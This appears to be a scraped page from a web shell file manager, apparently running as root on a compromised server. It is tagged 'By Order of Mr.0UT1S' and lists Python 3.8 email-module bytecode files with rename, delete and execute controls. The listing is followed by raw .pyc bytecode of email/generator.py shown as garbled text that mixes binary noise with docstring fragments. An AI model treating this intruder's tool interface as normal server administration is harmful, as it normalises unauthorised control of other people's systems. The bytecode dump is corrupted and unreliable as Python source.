lib64
/
python3.8
/
email
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-38.opt-1.pyc
1.65 KB
Rename
Delete
__init__.cpython-38.opt-2.pyc
1.04 KB
Rename
Delete
__init__.cpython-38.pyc
1.65 KB
Rename
Delete
_encoded_words.cpython-38.opt-1.pyc
5.55 KB
Rename
Delete
_encoded_words.cpython-38.opt-2.pyc
3.71 KB
Rename
Delete
_encoded_words.cpython-38.pyc
5.55 KB
Rename
Delete
_header_value_parser.cpython-38.opt-1.pyc
78.01 KB
Rename
Delete
_header_value_parser.cpython-38.opt-2.pyc
61.54 KB
Rename
Delete
_header_value_parser.cpython-38.pyc
78.06 KB
Rename
Delete
_parseaddr.cpython-38.opt-1.pyc
12.18 KB
Rename
Delete
_parseaddr.cpython-38.opt-2.pyc
9.29 KB
Rename
Delete
_parseaddr.cpython-38.pyc
12.18 KB
Rename
Delete
_policybase.cpython-38.opt-1.pyc
14.46 KB
Rename
Delete
_policybase.cpython-38.opt-2.pyc
5.84 KB
Rename
Delete
_policybase.cpython-38.pyc
14.46 KB
Rename
Delete
base64mime.cpython-38.opt-1.pyc
3.16 KB
Rename
Delete
base64mime.cpython-38.opt-2.pyc
1.43 KB
Rename
Delete
base64mime.cpython-38.pyc
3.16 KB
Rename
Delete
charset.cpython-38.opt-1.pyc
11.16 KB
Rename
Delete
charset.cpython-38.opt-2.pyc
4.98 KB
Rename
Delete
charset.cpython-38.pyc
11.19 KB
Rename
Delete
contentmanager.cpython-38.opt-1.pyc
7.19 KB
Rename
Delete
contentmanager.cpython-38.opt-2.pyc
7.19 KB
Rename
Delete
contentmanager.cpython-38.pyc
7.19 KB
Rename
Delete
encoders.cpython-38.opt-1.pyc
1.58 KB
Rename
Delete
encoders.cpython-38.opt-2.pyc
1.23 KB
Rename
Delete
encoders.cpython-38.pyc
1.58 KB
Rename
Delete
errors.cpython-38.opt-1.pyc
5.77 KB
Rename
Delete
errors.cpython-38.opt-2.pyc
4.37 KB
Rename
Delete
errors.cpython-38.pyc
5.77 KB
Rename
Delete
feedparser.cpython-38.opt-1.pyc
10.25 KB
Rename
Delete
feedparser.cpython-38.opt-2.pyc
8.62 KB
Rename
Delete
feedparser.cpython-38.pyc
10.39 KB
Rename
Delete
generator.cpython-38.opt-1.pyc
12.23 KB
Rename
Delete
generator.cpython-38.opt-2.pyc
8.62 KB
Rename
Delete
generator.cpython-38.pyc
12.23 KB
Rename
Delete
header.cpython-38.opt-1.pyc
16.06 KB
Rename
Delete
header.cpython-38.opt-2.pyc
10.56 KB
Rename
Delete
header.cpython-38.pyc
16.06 KB
Rename
Delete
headerregistry.cpython-38.opt-1.pyc
21.48 KB
Rename
Delete
headerregistry.cpython-38.opt-2.pyc
15.85 KB
Rename
Delete
headerregistry.cpython-38.pyc
21.53 KB
Rename
Delete
iterators.cpython-38.opt-1.pyc
1.88 KB
Rename
Delete
iterators.cpython-38.opt-2.pyc
1.27 KB
Rename
Delete
iterators.cpython-38.pyc
1.88 KB
Rename
Delete
message.cpython-38.opt-1.pyc
36.99 KB
Rename
Delete
message.cpython-38.opt-2.pyc
20.82 KB
Rename
Delete
message.cpython-38.pyc
36.99 KB
Rename
Delete
parser.cpython-38.opt-1.pyc
5.59 KB
Rename
Delete
parser.cpython-38.opt-2.pyc
2.64 KB
Rename
Delete
parser.cpython-38.pyc
5.59 KB
Rename
Delete
policy.cpython-38.opt-1.pyc
9.43 KB
Rename
Delete
policy.cpython-38.opt-2.pyc
3.36 KB
Rename
Delete
policy.cpython-38.pyc
9.43 KB
Rename
Delete
quoprimime.cpython-38.opt-1.pyc
7.50 KB
Rename
Delete
quoprimime.cpython-38.opt-2.pyc
4.11 KB
Rename
Delete
quoprimime.cpython-38.pyc
7.50 KB
Rename
Delete
utils.cpython-38.opt-1.pyc
9.32 KB
Rename
Delete
utils.cpython-38.opt-2.pyc
6.07 KB
Rename
Delete
utils.cpython-38.pyc
9.32 KB
Rename
Delete
U e5d�N � @ s� d Z dddgZddlZddlZddlZddlZddlmZ ddlm Z m Z ddlmZ d Z d Ze�d�Ze�dej�ZG d d� d�ZG dd� de�ZdZG dd� de�Zeeejd ��Zde ZejZdS )z:Classes to generate plain text from a message object tree.� Generator�DecodedGenerator�BytesGenerator� N)�deepcopy)�StringIO�BytesIO)�_has_surrogates�_� z \r\n|\r|\nz^From c @ s� e Zd ZdZd'dd�dd�Zdd� Zd(d d �Zdd� Zd d� Zdd� Z dd� Z dd� Zdd� Zdd� Z dd� ZeZdd� Zdd� Zdd � Zd!d"� Zed)d#d$��Zed%d&� �ZdS )*r z�Generates output from a Message object tree. This basic generator writes the message to the given file object as plain text. N��policyc C s6 |dkr|dkrdn|j }|| _|| _|| _|| _dS )a� Create the generator for message flattening. outfp is the output file-like object for writing the message to. It must have a write() method. Optional mangle_from_ is a flag that, when True (the default if policy is not set), escapes From_ lines in the body of the message by putting a `>' in front of them. Optional maxheaderlen specifies the longest length for a non-continued header. When a header line is longer (in characters, with tabs expanded to 8 spaces) than maxheaderlen, the header will split as defined in the Header class. Set maxheaderlen to zero to disable header wrapping. The default is 78, as recommended (but not required) by RFC 2822. The policy keyword specifies a policy object that controls a number of aspects of the generator's operation. If no policy is specified, the policy associated with the Message object passed to the flatten method is used. NT)�mangle_from_�_fp� _mangle_from_�maxheaderlenr )�self�outfpr r r � r �'/usr/lib64/python3.8/email/generator.py�__init__$ s zGenerator.__init__c C s | j �|� d S �N)r �write�r �sr r r r D s zGenerator.writeFc C s� | j dkr|j n| j }|dk r*|j|d�}| jdk rB|j| jd�}|j| _| �| j�| _d| _| �| j�| _| j }|j }zL|| _ ||_ |r�|� � }|s�dt �t � � � }| �|| j � | � |� W 5 || _ ||_ X dS )a� Print the message object tree rooted at msg to the output file specified when the Generator instance was created. unixfrom is a flag that forces the printing of a Unix From_ delimiter before the first object in the message tree. If the original message has no From_ delimiter, a `standard' one is crafted. By default, this is False to inhibit the printing of any From_ delimiter. Note that for subobjects, no From_ line is printed. linesep specifies the characters used to indicate a new line in the output. The default value is determined by the policy specified when the Generator instance was created or, if none was specified, from the policy associated with the msg. N)�linesep�Zmax_line_length� zFrom nobody )r �cloner r �_NL�_encode�_encoded_NLZ_EMPTY�_encoded_EMPTYZget_unixfrom�time�ctimer �_write)r �msg�unixfromr r Zold_gen_policyZold_msg_policyZufromr r r �flattenH s, zGenerator.flattenc C s | j || jd| jd�S )z1Clone this generator with the exact same options.Nr )� __class__r r )r �fpr r r r y s �zGenerator.clonec C s t � S r )r �r r r r �_new_buffer� s zGenerator._new_bufferc C s |S r r r r r r r � s zGenerator._encodec C sT |sd S t �|�}|d d� D ]}| �|� | �| j� q|d rP| �|d � d S )N���)�NLCRE�splitr r )r �lines�liner r r �_write_lines� s zGenerator._write_linesc C s� | j }z"d | _| �� | _ }| �|� W 5 || _ | j}| `X |r�t|�}|�d�d krd|d |d<